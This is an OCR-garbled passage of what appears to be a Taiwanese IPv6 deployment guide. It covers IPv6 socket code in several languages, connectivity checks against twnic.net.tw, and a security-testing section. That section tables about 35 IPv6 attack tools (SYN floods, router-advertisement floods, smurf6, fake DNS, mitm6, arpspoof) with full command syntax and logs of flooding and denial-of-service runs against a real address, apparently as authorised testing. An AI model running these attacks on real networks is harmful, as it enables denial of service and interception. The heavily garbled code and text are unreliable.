Il #-1Pv6 CIDR 2~} first & end ip

function cidr_to_range6 ($cidr) {

$a = explode ("/", $cidr) ;

$firstaddrstr = $a[0];

if (Mfilter_var (S$firstaddrstr, FILTER_VALIDATE_IP,
FILTER_FLAG_IPV6) ) {

return null;

%prefixlen = $a[1];
$firstaddrbin = inet_pton ( $firstaddrstr) ;
$firstaddrhex = reset (unpack ('H*', $firstaddrbin) ) ;
$firstaddrstr = inet_ntop ( $firstaddrbin) ;
$flexbits = 128 - $prefixlen;
$lastaddrhex = $firstaddrhex;
$pos = 31;
while ($flexbits >0) {
$orig = substr ( $lastaddrhex, $pos, 1) ;
$origval = hexdec ($orig) ;
$newval = $origval | (pow (2, min (4, $flexbits) ) -1) ;
$new = dechex ($newval) ;
$lastaddrhex = substr_replace ( $lastaddrhex, $new, $pos, 1) ;
$flexbits -= 4;
$pos -= 1;
}
$lastaddrbin = pack ('H*', $lastaddrhex ) ;
$lastaddrstr = inet_ntop ( $lastaddrbin) ;
return ['startip’ => $firstaddrstr, 'endip’ => $lastaddrstr];

¥
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bR Behp TS dicth > do% @® % composer B F

"’Ij.zz %&d Rl Ex.. I RE AN Ffl’g TS Feenrt 5 0 dTR- Pz

2 T ;%v, %%+ http://mikemackintosh.qgithub.io/dTR-1P/ -
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% = & ASP.NET (C#) %42 IPV6

B ekt CHB- BT u;g—tq'{?r S R R R tugg‘mg *
3| & & 1 Socket Library » @ & & Socket Library £ 4% IPV6 0% % 4e

T

if (!'Socket.SupportsIPv6) {
Console.Error.WriteLine ("™Your system does not support IPv6\r\n" +
"Check you have IPv6 enabled and have changed
machine.config") ;
return;

}
#EBAE- (70 2 & * AddressFamily.InterNetworkV6

Socket listener = new Socket ( AddressFamily.InterNetworkV6,

SocketType.Stream, ProtocolType.Tcp) ;
listener.Bind ( new IPEndPoint ( IPAddress.IPv6Any, PORT) ) ;

listener.Listen (0) ;

okt CHB * ~xbordfesl > T Fo% ”'vi‘lvi’mgyv 3

IPAddress ipa = IPAddress.Parse (IPv6_ADDR) ;

IPEndPoint ipeh = new IPEndPoint (ipa, PORT) ;

# & 2L & AddressFamily.InterNetworkV6

Socket connection = new Socket ( AddressFamily.InterNetworkVe6,
SocketType.Stream, Protocol Type.Tcp) ;

AaP-E% = b |Paddress 384 0 F & 8 * |Pv6 0 functions
1.IPAddress.Equals()
2.IPAddress.MapTolPv4() #- IPAddress 4= i $+ & 3 IPv4 i=xt
3.IPAddress.MapTolPv6():#- IPAddress # i ¥t & & IPv6 =4+

4% #_Socket & % % IPv6
1.TcpListener tcpListenerV4 = new TcpListener (IPAddress.Any,

port) ;
2. TcpListener tcpListenerVV6 = new TcpListener
(IPAddress.IPv6ANy, port) ; # & * IPV6ANy f =k % 7

Socket & Zf fr#73 HeB: Ao P IRECIPVE * 2 R EH
dod TE AL IPVAET IPV6 - ¥ L d
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TcpClient client = new TcpClient ( AddressFamily.InterNetwork ) ;

dod TE LA E2 LI IPV6 F LR R

TcpClient client = new TcpClient ( AddressFamily.InterNetworkVe6 ) ;

& Unityd. 7.2 72 2 Unity 5.3.X 5 A ® # IPV6 & {7 7 £ 4 > 3%
2575 ¢ _gﬁg’étu—r;/{f* o

2 F

T 3K
mSocket = new Socket ( AddressFamily.InterNetwork,
SocketType.Stream, Protocol Type.Tcp) ;

L ATIS R 2
mSocket = new Socket ( AddressFamily.InterNetworkV6,
SocketType.Stream, Protocol Type.Tcp ) ;
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% w & Python % 3% IPV6

Python 3.7 r4 ts cm A R85 L 42 IPV6» 3 F & 31 % 3f b e
Library » s & ¥ 12 % ipaddress.py > F = P
https://docs.python.org/3/library/ipaddress.html -

2 %x’?l}«&r"f

socket.getaddrinfo ("www.python.org", 80, 0, 0, socket.SOL_TCP)

[ (2,1,6,", ('82.94.164.162',80) ), (10,1,6,",
('2001:888:2000:d::a2',80,0,0) ) ]

ourSocket = socket.socket (socket.AF INETS,

socket. SOCK_STREAM, 0)

ourSocket.connect ( ('2001:888:2000:d::a2',80,0,0) )

Vol S SlmpIeHTTPServer e = i H ehWeb PR B
d *> SimpleHTTPServer &~ £ § % £ ¥ IPv6 » & K
SimpleHTTPServer ¥ 2 & 32 Ipv6 pF » i3 i
lusr/lib/python2.7/SimpleHTTPServer.py #H x p % > B 5% 47

import socket
def test ( HandlerClass = SimpleHTTPRequestHandler,
ServerClass = BaseHTTPServer.HTTPServer ) :
ServerClass.address_family = socket. AF_INET6
ServerClass ( ('::',8000) ,HandlerClass ) .serve forever ()

¥ SimpleHTTPServer #- &_i# * Python2 3% ;% » % Python3 pF
& & I http.server ® > & http.server # 12 £ 32 IPV6 & » 3 = f4 >
2 BITHR o

=% - 113 Tohttp.server fEle e R
(Jusr/lib/python3.x/http/server.py ) » v 3%fh % P 4e » 425555 » 2 %

e T

server_address = (bind, port)

HH AT S (TR
if " in bind:
ServerClass.address_family = socket. AF_INET6

HandlerClass.protocol version = protocol
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https://docs.python.org/3/library/ipaddress.html
http://www.python.org/

| httpd = ServerClass(server_address, HandlerClass)

3£ 1B {7 & httpserver

import http.server

import socketserver

import socket

class HTTPServerV6(http.server. HTTPServer):
address_family = socket. AF_INET6

Handler = http.server.SimpleHTTPRequestHandler
server = HTTPServerV6(("::', 8000), Handler)
server.serve_forever(

4ot Python 2.6 » i% i urlparse ficie f247 url » e3> 2
£ % T FEfE+7 IPV6 fent > F]yt 3t Python 2.7 &2 Python 3 pF 3 i2 &t 2%
4 3% > e P& Python 3 & #- urlparse -2 2 = urllib.parse itk o 4o
BRI L E A Python sk A 2L % 3] 2.7 11 F Rk o e 4ok
% JE % Python 2.6 B » R 7 12 j€_Python 2.7 4F %l urlparse # e & B~ =&
F - e LA G4 urlparseipv6 o ¥ £ import i k TE > ¥ £
SRR

A

| from external import urlparseipv6 as urlparse
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% 7 & Java & # IPv6

Java j¥_1.4 "< B 4~ 4 4% Linux f= Solaris = 5} 17 1Pv6 1.5 &
Azx 4e x 7 Windows * 5 et 4% o Java (453137 IPv4 e IPV6
AR AT o Java- F R ARNBIE N HB R L
IPv6 » Java #& i 7 java.net.preferlPv4Stack ~
java.net.preferlPv6Addresses @ B s S Hie 7k B 972 * e IP 3%

Java & i * IPV6 PF > 3 & K TUT K A

System.setProperty (“java.net.preferlPv6Addresses”,"true™ )

deb B A IVM A EIPVE s P Z & @ % 0T 2R 2

-Djava.net.preferlPv4Stack=false

-Djava.net.preferlPv6Addresses=true

¥ ¢k 5 2 % InetAddress.getLocalHost ()30 #ic# 12K w A8 1P -
o B %k w g IPv4A R E_IPV6 a0 B d
java.net.preferlPv6 Addresses i % ji-%_» §
java.net.preferlPv6Addresses = ¢ % & false pF > P -L @ * |Pv4 i
B0 F 2K G true s B g LR IPV6 B nk o
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% = & Javascript & # IPv6

4% #_nodejs f & & * IPv6 > ¥ 12 i * node-ip6addr iz
library » F #L® 12 f&_https:/github.com/joyent/node-ip6addr 4 g + =

;\‘.o

—~

N iTdp 4
npm install ip6addr

R LR kS

> var addrl = ip6addr.parse ('fd00::0123")

> addrl.toString ()

fd00::123'

> var addr2 = ip6addr.parse ('1.2.3.4")

> addr2.toString ()

'1.2.3.4

> var addr3 = ip6addr.parse ('::ffff:127.0.0.1")
> addr3.toString ()

L 127.0.0.1°

> var subl = ip6addr.createCIDR ('fe80::/10")
> subl.toString ()

'fe80::/10'

> var sub2 = ip6addr.createCIDR ('fc00::', 7 )

> sub2.toString ()

'fc00::/7'

> var sub3 = ip6addr.createCIDR ('10.0.0.0', 8)
> sub3.toString ()

'10.0.0.0/8
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>

F N T fR|IE P

5 - IPV6 3% Z_#& P
A IPVE 2 K R HF e B Rd  BH R MLFIE D LT
T A aﬁzﬂfé“‘ Ait cPlE L B B RIE S N HET R R G
X ZF e L4 IPV6 -
# 21 ICP ¥ & 1 IPV6 % T ik P £
Bl | AR | KRl | B | iR R BRSO [RIE
g E 1=
CT-1 |24 |zt £_ | Trying &«E ;= |curl-v 3 |curl
IPV6 i+ 4t IPV6 =%t ~ H+ --head
IVEY B a1 IR,
(http £ TCP_NODEL
https) AY set ~
Connected to
Connected to
e qt (IPV6 i
ht) port
443 ~ T Bg T
successfully
set certificate
verify
locations ! 35
HTTP/2 200
CT-2 |iad | ridiad X_ k2ot ik B, | traceroute6 | tracer
R LA d B IPv6 = |19 K oute6
IPV6 i+ 4t ht
CT-3[DNS |#x&F |4& |[% 71 IPv6 = |digaaaa$? |dig
3 IR hb 3
Z_IPv6 = @8.8.8.8
ht +short
CT-4 |DNS |zt * 5 ko1 IPv6 = |foriin “dig |dig
7 Y @8.8.8.8
+short NS
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DNS R
Server » ¥ do echo -n
£ 35 IPV6 "$i =>
iy [ipv6] *;
dig aaaa i
@8.8.8.8
+short;
done
CT-5|DNS |zt * |2 = 7 BT ping6 2 & | ping6
71 DNS & PING 3] B
IPv6 T;K'v" IPV6 1t
1 PING i
i
CT-6 | DNS | s=zki * i 2ot IPv6 i+ |foriin ‘dig |dig
7 DNS & i @8.8.8.8
o % e sk +short NS
12 e 3 £ IR
IPV6 5t do echo -n
i " =
[ipv6] *;
dig aaaa 2
FiF @I
+short;
done
CT-7 | Mail | s=zki * i_ k¢ IPv6 i+ |foriin dig |dig
Serve | & Mail iy @8.8.8.8
r Server 4% & +short MX
3 P8 = 1
b E Slg_ec:o -N
, 1=
13 [ipv6] ";
dig aaaa $i
@8.8.8.8
+short;
done;
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12 TWNIC B4 Bi# 4 5 i 3P o (www.twnic.nettw) %
] o A w4 A ICP % "ﬂk e |PV6 3K T_4& P % cruP|3EATIE PO 7R
?‘é o
2

1.. Pwé;mIPv6 R NREVE B (http https)
root®localhost:~# curl -v https://www.twnic.net.tw/ --head
*  Trying 2001:c50:ffff:1::9999...
* TCP_NODELAY set
* Connected to www.twnic.net.tw (2001:c50:ffff:1::9999) port 443 (#0@)
* ALPN, offering h2
* ALPN, offering http/1.1
* successfully set certificate verify locations:
*  (Afile: /fetc/ssl/certs/ca-certificates.crt
CApath: /etc/ssl/certs
(394) (OUT), TLS handshake, Client hello (1):
(304) (IN), TLS handshake, Server hello (2):
TLSv1.Z2 (IN), TLS handshake, Certificate (11):
TLSv1.2 (IN), TLS handshake, Server key exchange (12):
TLSv1.Z (IN), TLS handshake, Server finished (14):
TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
TLSv1.Z2 (0UT), TLS change cipher, Client hello (1):
TLSv1.2 (OUT), TLS handshake, Finished (20):
TLSv1.2 (IN), TLS handshake, Finished (2@):
SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384
ALPN, server accepted to use http/1.1
Server certificate:
subject: C=TW; ST=Taipei; L=Taipei; OU=Tech Dept.; O=TAIWAN NETWORK INFORMA
TION CENTER; CN=*.twnic.net.tw
* start date: Apr 23 ©2:48:54 2019 GMT
* expire date: May 20 08:48:46 2020 GMT
* subjectAltName: host "www.twnic.net.tw" matched cert's "*.twnic.net.tw"
* issuer: (=BE; 0=GlobalSign nv-sa; CN=GlobalSign Organization Validation CA
- SHA256 - G2
* SSL certificate verify ok.
> HEAD / HTTP/1.1
> Host: www.twnic.net.tw
> User-Agent: curl/7.58.0

B 113 TWNICCT-1 RS % H 6 2 -

*
*
*
*
*
*
*
*
*
*
*
*
*
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SSL certificate verify ok.
HEAD / HTTP/1.1

Host: waww.twnic.net.tw
User-Agent:
Accept: */*

HTTP/1.1 200 OK
HTTP/1.1 200 0K
< Date: Fri, @4 Oct 2019 05:41:52 GMT
Date: Fri, @4 Oct 2019 ©5:41:52 GMT
< X-Frame-Options: SAMEORIGIN
X-Frame-Options: SAMEORIGIN
< X-Powered-By: PHP/5.3.3
X-Powered-By: PHP/5.3.3
< Content-Type: text/html; charset=UTF-8
Content-Type: text/html; charset=UTF-8
< X-Cache: MISS from www.twnic.net.tw
X-Cache: MISS from www.twnic.net.tw
< X-Cache-Lookup: MISS from www.twnic.net.tw:8@
X-Cache-Lookup: MISS from waw.twnic.net.tw:80
< Strict-Transport-Security: max-age=31536@0@; includeSubDomains
Strict-Transport-Security: max-age=3153600@; includeSubDomains
< Server: TWNIC
Server: TWNIC
< Accept-Ranges: bytes
Accept-Ranges: bytes
< Connection: keep-alive
Connection: keep-alive

<
* Connection #@ to host www.twnic.net.tw left intact
root@localhost:~# ]

B 114 TWNICCT-1RlE% % F 5 2 =

2.5 B d BTG IPV6 at
o0 1. root@Ilocalhost: ~ (

root@localhost:~# traceroute6 twnic.net.tw

traceroute to (2001:c50:ffff:1::9999) from 2400:8902::f@3c:91ff:fed4a:3287, 30

hops max, 24 byte packets

1 2400:8902::fa66:f2ff:fe@@:841 (2400:8902::fa66:f2ff:fe@0:841) 1.698 ms 24
00:8902: :4255:39ff:fe@8:e9cl (2400:8902::4255:39ff:fe@8:e9¢c1) 4.489 ms 0.777

ms

2 2400:8902:b::1 (2400:8902:b::1) @.675 ms ©.58 ms @.386 ms

3 2001:418:16::f1 (2001:418:16::f1) 1.829 ms ©.868 ms ©.993 ms

4 ge-18.r31.tokyjp@5.jp.bb.gin.ntt.net (2001:218:0:2000::2d6) 1.695 ms 1.1
@8 ms 1.11 ms

5 ae-3.r@l.taiptw@2.tw.bb.gin.ntt.net (2001:218:0:2000::d9) 31.538 ms 31.5
35 ms 31.476 ms

6 xe-0-0-0-0-0.r01.taiptwd2.tw.ce.gin.ntt.net (2001:218:8000:5000::3a) 31.3
9% ms 31.38¢ ms 31.37 ms

7 2001:4540:3100:ce::3 (2001:4540:3100:ce::3) 33.061 ms 33.792 ms 32.981
ms

8 2001:4540:3100:118::3 (2001:4540:3100:118::3) 34.588 ms 33.446 ms 34.64
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3.. Pf—"\_hzr\?- FEK T_IPV6 ikt

root@localhost ~# dig twnic.net.tw @8.8.8. 8 AAAA +short

2001:c50:ffff:1::9999
root@localhost:~# ||

B 116 TWNICCT-3 B2 % & %

4.4 xki¢ * 975 DNS Server & £ & 5 IPv6 (el 212

root@localhost:~# for i in “dig @8.8.8.8 +short NS twnic.net.tw’; do echo -n "$i => [i
pv6e] "; dig aaaa $i @8.8.8.8 +short; done

dnsl.twnic.net.tw. => [ipve] 2001:b@34:2000:1000:1000::2¢e
dns2.twnic.net.tw. => [ipv6] 2001:c50:ffff:1::9:58
root@localhost:~# ||

B 117 TWNICCT-4 %% 4w

5.4 =k ¢ * 1 DNS 1 IPV6 28+ 12 PING i i§
[ ) . Fot ocalhos sh)

root@localhost:~# ping6 twnic.net.tw -c 5

PING twnic.net.tw(2001:c50:ffff:1::9999 (2001:c50:ffff:1::9999)) 56 data bytes
64 bytes from 2001:c50:ffff:1::9999 (2001.c50:ffff:1::9999): icmp_seq=1 tt1=58
time=33.1 ms

64 bytes from 2001:c50:ffff:1::9999 (2001:c50:ffff:1::9999): icmp_seq=2 ttl=58
time=33.5 ms

64 bytes from 2001:c50:ffff:1::9999 (2001:c50:ffff:1::9999): icmp_seq=3 ttl=58
time=33.5 ms

64 bytes from 2@01:c50:ffff:1::9999 (2001:c50:ffff:1::9999): icmp_seq=4 ttl=58
time=33.4 ms

64 bytes from 2001:c50:ffff:1::9999 (2001:c50:ffff:1::9999): icmp_seq=5 ttl=58
time=33.7 ms

--- twnic.net.tw ping statistics ---

5 packets transmitted, 5 received, @% packet loss, time 4@@6ms
rtt min/avg/max/mdev = 33.163/33.496/33.738/0.190 ms
root@localhost:~# [}

B 118 TWNICCT-5p:# %% 4 w

6%%&*nﬂWS@£L$¢P% e |PV6 it (oS i IR R
27 2 IPv6)
root@localhost:~# dig @8.8.8.8 +short NS twnic.net.tw
dnsZ.twnic.net.tw.
dnsl.twnic.net.tw.
root@localhost:~# dig aaaa dnsd.twnic.net.tw. +short

2001:c50:ffff:1::9:58
root@localhost:~# dig aaaa dnsl.twnic.net.tw. +short
2001 :b034 :2000:1000:1000: : 2e
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7.2k % b Mail Server 8 & § IPV6 =ut > 2 ¥ roag i (TWNIC
I MX 23 K 2 IPv6)

root@localhost:~# dig @8.8.8.8 +short MX twnic.net.tw

10 mailgw.twnic.net.tw.

root@localhost:~# dig aaoa mailgw.twnic.net.tw +short
root@localhost : ~#

B 120 TWNICCT-7 ipl:¢ %% 4 w
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ST-1 |Bd B | A S%% | 4 thcsyn6 [-AcDrRS] | thesyn6

=
K R [-p port] [-s
R sourceip6] interface
target port
ST-2 |Bd B | A 5%zFE | 4 exploit6 interface exploit6
&k 3 R destination [test-
4 % B case-number]
ST-3 |gd B |DDoSs |A_ fuzz_ip6 [-x] [-t fuzz_ip6
# number | -T number]
(ICMPy [-p number] [-
6) IFSDHRJ] [-X|-1]-
2|-3|-4|-5|-6|-7|-8|-9|-
0 port] interface
unicast-or-multicast-
address [address-in-
data-pkt]
ST-4 |#d = |Ping of X frag6 -i [interface] -- | frag6
Death frag-id-policy -d
(PoD) [destination]
ST-5 |[Bd B |RRFH | A flow6 -i [interface] - | flow6

-flow-label-policy -d
[destination] -v
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ST-6 |33 |DDoSs |&_ implementation6 [- | implement
5 # p] [-s sourceip6b] ation6
( Smurf interface destination
YO ) [test-case-number]
ST-7 | H DDos sz | &_ flood_mld6 flood_mid
# interface 6
( Duplica
te Address
Detection
)
ST-8 |H @ Upper & flood_mld26 flood_mld
Layer interface 26
Header =
i
ST-9 |[H Atomic X denial6 interface denial6
Fragment destination test-
T case-number
KT S IPVERIZE R (F T R T RIGE)
ST-10 | g d £ |DDoSsc | H_ inject_alive6 [-ap] alive6
# interface
( Router
Advertise
ment )
ST-11 | g2 d ® [DDoS sz | A_ inject_alive6 [-ap] alive6
i interface
(neighbo
r
advertise
ments )
ST-12 | g d £ |DDoSsx | H_ redir6 interface redir
# (MLD victim-ip target-ip
reports ) original-router new-

router [new-router-
mac] [hop-limit]
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ST-13 | g.d ® |DDoSsx | 4. | dos-new-ip6 dos-new-
# interface Ip6
(MLDv2
reports )
ST-14 | ped ®B | ¢ B 4 7c | & | fake_mipv6 interface | fake_mip
# home-address home- | v6
agent-address care-
of-address
ST-15 | g d £ |DDoSsc | & fake advertise6 [- fake adve
# DHF] [-Ors] [-n rtiser6
( unknow count] [-w seconds]
- interface ip-address-
. advertised [target-
S address [mac-
address-advertised
[source-ip-address]]]
ST-16 | =3 | DDoS s | &_ implementation6d implemen
5 # interface tation6d
( Smurf
)
ST-17 | DNS e A= flood_dhcpc6 [-n|-N] | flood_dhc
[-1] [-d] interface pc6
[domain-name]
ST-18 | DNS AR | A toobig6 [-u] toobig6
& ‘5 % BB interface target-ip
Gy e_xis_ting-ip mtu [hop-
limit]
ST-19 | DNS A& | E fake dns6d interface | fake _dns6
& 5 R ipv6-address [fake- |d
gy ipv6-address [fake-
mac]]
ST-20 | DNS A& | E fake dnsupdate6 fake dnsu
® K i PR dns-server full- pdate6
G R qualified-host-dns-

name ipv6address
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ST-21 | iv% x | CVE- H_ mitm6.py [-h] [-i mitm6
4 2003- INTERFACE] [
0429 LOCALDOMAIN]
Ethereal [-4 ADDRESS] [-6
OSl j# ADDRESS]
17 5% 7% [-m
B ADDRESS] [-a] [-V]
[--debug] [-d
DOMAIN] [-b
DOMAIN]
[-hw
DOMAIN] [-hb
DOMAIN] [--
ignore-nofqgdn]
ST-22 | iv%# % |CVE- X fake_mld6 [-1] fake_mld
1 2004- interface 6
0257 add|delete|query
OpenBSD [multicast-address
ICMPV6 [target-address [ttl
R E [own-ip [own-mac-
DDoS 3z address [destination-
B mac-address]]]]]]
ST-23 | L4 | DDoS sz | & fake _mld26 [-I] fake_mid
# (TCP- interface 26
SYN) add|delete|query
[multicast-address
[target-address [ttl
[own-ip [own-mac-
address [destination-
mac-address]]]]]]

ST-24 | L | R 4FhH | £ fake_mldrouter6 [-1] | fake_mldr
interface outer6
advertise|solicitate|te
rminate [own-ip
[own-mac-address]]

ST-25 || Vi | A~k 2 | & fake router6 [-HFD] | fake rout
interface network- eré

address/prefix-length
[dns-server [router-
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ip-link-local [mtu
[mac-address]]]]

ST-26 | F» v | A A3k 2 | & flood_router6 [- flood_rou
HFD] interface ter6

ST-27 | H DDoS sz | #_ flood_advertise6 [-k | flood adv

# | -m mac] interface | ertise6
[target]

ST-28 | H s A& | 5 ndpexhaust26 [- ndpexhau
EN Jﬁ % Pe acpPTUrR] [-s st26
gy sourceip6] interface

target-network

ST-29 | H & AEHE | A parasite6 [-IRFHD] | parasite6
&k G R interface [fake-mac]

i

ST-30 | H s > | & smurf6 interface smurf6

1B victim-ip [multicast-
( flow network-address]
label )

ST-31 | H s Fh1e | £ rsmurf6 interface rsmurfé

victim-ip

ML IPV4 pRE R

ST-32 |gad B [P B A3z | & arpspoof -i Arpspoof
# [Network Interface

Name] -t [Victim
IP] [Router IP]

ST-33 | #4434 |DDoSsc | &_ hping3 --traceroute - | hping3
# V-1 4=tk

ST-34 |p b | # B A5t | & Bl 4w 3k T ettercap
#

ST-35 | }# 448 |DDoS sz | & Bl w3k iT Evil
# 0 FOCA
A s HF
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1.7 * thcsyn6 pl:¢1 £

® . alhost )
root@localhost:~# thcsyn6 eth@ 2@@1:c50:ffff:1::9999 80
Starting to flood target network with TCP-SYN eth@ (Press Control-C to end, a do
t is printed for every 1000 packets):

root@localhost:~# thcsyn6 eth@ 2001:c50:ffff:1::9999 443
Starting to flood target network with TCP-SYN eth@ (Press Control-C to end, a do
t is printed for every 1000 packets):

root@localhost:~# ||

B 121 TWNIC ST-1 B %% & &

2.7 * exploit6 @1 £
[

root®localhost:~# exploitb eth@ 2001:c50:ffff:1:

Performing vulnerability checks on 2@01:c50:ffff:1::9999 via eth@:

Test @: normal ping6 PASSED - we got a reply

Test 1: CVE-NONE overlarge ping, 6 checksum combinations

Warning: checksums for packets > 65535 are unreliable due implementation differe

nces on target platforms

Test 2: CVE-NONE large ping, 3 checksum combinations

Warning: checksums for packets > 65535 are unreliable due implementation differe

nces on target platforms

Test 3: CVE-2003-0429 bad prefix length (little information, implementation uns

ure

Test 4: (VE-2004-0257 ping, send toobig on reply, then SYN pkt

Test 5: normal ping6 (still alive?) PASSED - we got a reply

root@localhost:~# []

1.ro

B 122 TWNIC ST-2 pli¢ %% & o

3.1 * fuzz_ip6 pl:d1 &
oo D X
root@localhost:~# fuzz_ip6 -xIFSDHR] eth@ 2@01:c50:ffff:1::9999
Fuzzing packet, starting at fuzz case @, ending at fuzz case 1999999999, every p
' acket sent denoted by a dot:

root@localhost:~# ]

B 123 TWNICST-3Bl:2 %% & w
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4.7% * fragb pliFp1 £

root@localhost:~# fragé --frag-type atomic -d 2001:c50:ffff:1::9999 -v
Ethernet Source Address: f2:3c:91:4a:32:87 (automatically selected)
Ethernet Destination Address: 0@:@5:73:a@:@f:ff (automatically selected)

IPv6 Source Address: 2400:8902::f03c:91ff:fe4a:3287 (automatically selected)
IPv6 Destination Address: 2001:c50:ffff:1::9999

IPv6 Hop Limit: 112 (randomized)

Sending Fragment(s)....

root@localhost:~#
Bl 124 TWNICST-4 pl:3 %% 3 o

5.1 * flow6 pl:&1 £
.e — . :
root@localhost:~# flowb -d 2001:c50:ffff:1::9999 -i eth® -W

Identifying the 'Flow ID' generation policy of the target node....
Error: Didn't receive enough response packets

root@localhost:~# [J

B 125 TWNIC ST-5pl:3 %% & o

6.7 * implementation6 p:&1 &
o .

root@localhost:~# implementation6 eth@® -s sourceip6 2001:c5@:ffff:1::9999
Performing implementation checks on 2001:c50:ffff:1::9999 via eth@:

Test @: normal ping6 PASSED - we got a reply
Test 1: hop-by-hop ignore option PASSED - we got a reply

B 126 TWNIC ST-6 Pli¢ %% & o

7. * flood_mld6 ;pl2&1 £

root@localhost:~# flood_mldé eth® 2001:c50:ffff:1::9999
Starting to flood network with MLD reports on eth@ (Press Control-C to end, a do
t is printed for every 1000 packets):

root@localhost:~# ]

B 127 TWNIC ST-7 pli¢ %% & o

8.7 * flood mld26 P31 &
[ ] 1. 1o alhos )
root@localhost:~# flood_mld26 eth® 2001:c50:ffff:1::9999
Starting to flood network with MLDvZ reports on eth@ (Press Control-C to end, a
dot is printed for every 1000 packets):

root@localhost:~# ||

B 128 TWNIC ST-8 Bl:2 %% & w

0.7¢ * denial6 ip|:&1 &
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alhos )
root@localhost:~# denial6 eth® 2001:c5@:ffff:1::9999 1
Performing denial of service test case no. 1 attack on 2@001:c50:ffff:1::9999 via

eth@:
A "." is shown for every 10@0@ packets sent, press Control-C to end...

Test 1: large hop-by-hop header with router-alert and filled with unknown option

s.
WARNING: this attack affects all routers on the network path to the target!!

root@localhost:~#

B 129 TWNIC ST-9 Pl % & o
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i 7 (IPv4/v6 Dual Stack )
ISP i ¥ e 2 PR A% 3% ik —‘]5
( Internet Service Provider)
IASP "% e B2 PRG35 &
( Internet Access SerV|ce
Provider )
IT 7 2t 34t (Information
Technology )
L
L3 Switch % = & < & %
( Layer 3 Switch)
Load Balancers § - =%
M
Mobile Internet = > +
( Mobile Internet)
N
NAT 5% = 1t 3% (Network
Address Translation )
Network Layer 4 2 &
( Network Layer )
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Q
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R
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( Reverse Address Resolution
Protocol )
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( Request For Comments )
Router §& d %

-

TCP @ g #ls &

( Transmission Control
Protocol )
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? .« (Taiwan Network
Information Center )

w
WWW 2 3 3 2 % (World
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